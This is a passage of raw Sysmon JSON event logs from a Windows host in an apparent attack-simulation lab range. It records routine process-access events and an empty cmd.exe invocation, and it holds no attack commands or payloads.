dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5805,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5806,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5807,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5808,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5809,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5810,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5811,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.494\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010F97D0800}\r\nSourceProcessId: 3292\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010F3CE0700}\r\nTargetProcessId: 1168\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.494","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010F97D0800}","SourceProcessId":"3292","SourceThreadId":"4700","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010F3CE0700}","TargetProcessId":"1168","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5812,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.510\r\nSourceProcessGUID: {90617006-4173-5F2D-0000-0010ABA40800}\r\nSourceProcessId: 2512\r\nSourceThreadId: 5112\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4174-5F2D-0000-001032C70800}\r\nTargetProcessId: 1168\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1F3FFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA792AD3)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.510","SourceProcessGUID":"{90617006-4173-5F2D-0000-0010ABA40800}","SourceProcessId":"2512","SourceThreadId":"5112","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4174-5F2D-0000-001032C70800}","TargetProcessId":"1168","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1f3fff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA792AD3)","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5813,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.532\r\nProcessGuid: {90617006-4174-5F2D-0000-00104AC80800}\r\nProcessId: 3852\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: \"C:\\Windows\\system32\\cmd.exe\" /c \"\" \r\nCurrentDirectory: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4171-5F2D-0000-0020327D0800}\r\nLogonId: 0x87D32\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: 